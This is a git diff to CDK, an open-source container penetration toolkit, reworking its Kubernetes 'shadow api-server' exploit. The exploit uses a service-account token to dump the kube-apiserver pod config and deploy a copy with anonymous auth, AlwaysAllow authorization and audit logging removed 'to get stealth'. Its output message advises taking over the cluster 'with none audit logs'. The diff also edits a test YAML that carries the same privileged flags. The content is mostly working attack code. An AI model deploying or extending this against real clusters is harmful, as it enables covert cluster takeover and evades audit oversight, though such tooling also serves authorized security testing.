diff --git a/pkg/exploit/k8s_shadow_apiserver.go b/pkg/exploit/k8s_shadow_apiserver.go index 424ae5a..4c8ba27 100644 --- a/pkg/exploit/k8s_shadow_apiserver.go +++ b/pkg/exploit/k8s_shadow_apiserver.go @@ -1,6 +1,6 @@ +//go:build !thin && !no_k8s_shadow_apiserver // +build !thin,!no_k8s_shadow_apiserver - /* Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . @@ -21,16 +21,18 @@ package exploit import ( "fmt" + "log" + "regexp" + "strings" + "github.com/cdk-team/CDK/conf" "github.com/cdk-team/CDK/pkg/cli" "github.com/cdk-team/CDK/pkg/errors" "github.com/cdk-team/CDK/pkg/plugin" "github.com/cdk-team/CDK/pkg/tool/kubectl" + "github.com/cdk-team/CDK/pkg/util" "github.com/tidwall/gjson" "github.com/tidwall/sjson" - "log" - "regexp" - "strings" ) func findApiServerPodInMasterNode(token string, serverAddr string) (string, error) { @@ -56,6 +58,7 @@ func findApiServerPodInMasterNode(token string, serverAddr string) (string, erro log.Println("trying to find api-server pod in namespace:kube-system") resp, err := kubectl.ServerAccountRequest(opts) if err != nil { + log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp) return "", errors.New("faild to request api-server.") } if !strings.Contains(resp, "selfLink") { @@ -103,6 +106,7 @@ func dumpPodConfig(token string, serverAddr string, podName string, namespace st log.Println("dump config json of pod:", podName, "in namespace:", namespace) resp, err := kubectl.ServerAccountRequest(opts) if err != nil { + log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp) return "", errors.New("faild to request api-server.") } if !strings.Contains(resp, "selfLink") { @@ -126,7 +130,8 @@ func generateShadowApiServerConf(json string) string { // patch cdxy 20210413 // Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","reason":"Invalid","details":{"name":"kube-apiserver-10.206.0.11-shadow","kind":"Pod","causes":[{"reason":"FieldValueInvalid","message":"Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","field":"metadata.labels"}]},"code":422} - json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow") + podName := gjson.Get(json, "metadata.name").String() + "-shadow" + "-" + strings.ToLower(util.RandString(6)) + json, _ = sjson.Set(json, "metadata.name", podName) json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"shadow") // remove audit logs to get stealth @@ -144,16 +149,19 @@ func generateShadowApiServerConf(json string) string { } // set insecure-port to 0.0.0.0:9443 - reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`) - json = reg.ReplaceAllString(json, "${1}9443${3}") - if !strings.Contains(json, "--insecure-port") { - json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`) - } - reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`) - json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}") - if !strings.Contains(json, "--insecure-bind-address") { - json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`) - } + // fix "Flag --insecure-port has been deprecated, This flag has no effect now and will be removed in v1.24." + + // reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`) + // json = reg.ReplaceAllString(json, "${1}9443${3}") + // if !strings.Contains(json, "--insecure-port") { + // json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`) + // } + // reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`) + // json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}") + // if !strings.Contains(json, "--insecure-bind-address") { + // json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`) + // } + // set --secure-port to 9444 reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`) json = reg.ReplaceAllString(json, "${1}9444${3}") @@ -200,6 +208,7 @@ func deployPod(token string, serverAddr string, namespace string, data string) ( resp, err := kubectl.ServerAccountRequest(opts) if err != nil { + log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp) return "", errors.New("faild to request api-server.") } if !strings.Contains(resp, "selfLink") { @@ -233,12 +242,14 @@ func (p K8sShadowApiServerS) Run() bool { } fmt.Println("\tFind K8s api-server in ENV:", addr) - apiServerPod, err := findApiServerPodInMasterNode(args[0], addr) + tokenFlag := args[0] + + apiServerPod, err := findApiServerPodInMasterNode(tokenFlag, addr) if err != nil { fmt.Println(err) return false } - config, err := dumpPodConfig(args[0], addr, apiServerPod, "kube-system") + config, err := dumpPodConfig(tokenFlag, addr, apiServerPod, "kube-system") if err != nil { fmt.Println(err) return false @@ -246,7 +257,7 @@ func (p K8sShadowApiServerS) Run() bool { // config for shadow api-server data := generateShadowApiServerConf(config) //fmt.Println("request data:",data) - resp, err := deployPod(args[0], addr, "kube-system", data) + resp, err := deployPod(tokenFlag, addr, "kube-system", data) //fmt.Println("response_data:",resp) if err != nil { log.Println(err) @@ -265,9 +276,8 @@ func (p K8sShadowApiServerS) Run() bool { namespace := gjson.Get(resp, "metadata.namespace").String() node := gjson.Get(resp, "spec.nodeName").String() fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node) - fmt.Print("\tlistening insecure-port: 0.0.0.0:9443\n\tlistening secure-port: 0.0.0.0:9444") - fmt.Print("\tenabled all privilege for system:anonymous user\n") - fmt.Print("\tgo further run `cdk kcurl anonymous get http://your-node-intranet-ip:9443/api` to takeover cluster with none audit logs!\n") + fmt.Printf("\tlistening secure-port: https://%s:9444\n", node) + fmt.Printf("\tgo further run `cdk kcurl %s get https://%s:9444/api` to takeover cluster with none audit logs!\n", tokenFlag, node) return true } diff --git a/pkg/tool/kubectl/common.go b/pkg/tool/kubectl/common.go index b804e84..a6b7be8 100644 --- a/pkg/tool/kubectl/common.go +++ b/pkg/tool/kubectl/common.go @@ -151,22 +151,24 @@ func ServerAccountRequest(opts K8sRequestOption) (string, error) { } //defer resp.Body.Close() + content, err := ioutil.ReadAll(resp.Body) + if err != nil { + return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} + } + + res := string(content) + // Fix a bug reported by the author of crossc2 on whc2021. // When the DeployBackdoorDaemonset call fails and returns an error, it will still feedback true. if !util.IntContains(MaybeSuccessfulStatuscodeList, resp.StatusCode) { errMsg := fmt.Sprintf("err found in post request, error response code: %v.", resp.Status) - return "", &errors.CDKRuntimeError{ + return res, &errors.CDKRuntimeError{ Err: err, CustomMsg: errMsg, } } - content, err := ioutil.ReadAll(resp.Body) - if err != nil { - return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} - } - - return string(content), nil + return res, nil } func GetServerVersion(serverAddr string) (string, error) { diff --git a/test/k8s_exploit_util/shadow-apiserver.yaml b/test/k8s_exploit_util/shadow-apiserver.yaml index 8c69e1b..8843962 100644 --- a/test/k8s_exploit_util/shadow-apiserver.yaml +++ b/test/k8s_exploit_util/shadow-apiserver.yaml @@ -19,8 +19,8 @@ spec: - --allow-privileged=true - --anonymous-auth=true - --authorization-mode=AlwaysAllow - - --insecure-port=443 - - --insecure-bind-address=0.0.0.0 + # - --insecure-port=443 + # - --insecure-bind-address=0.0.0.0 - --client-ca-file=/etc/kubernetes/pki/ca.crt - --enable-bootstrap-token-auth=true - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt \ No newline at end of file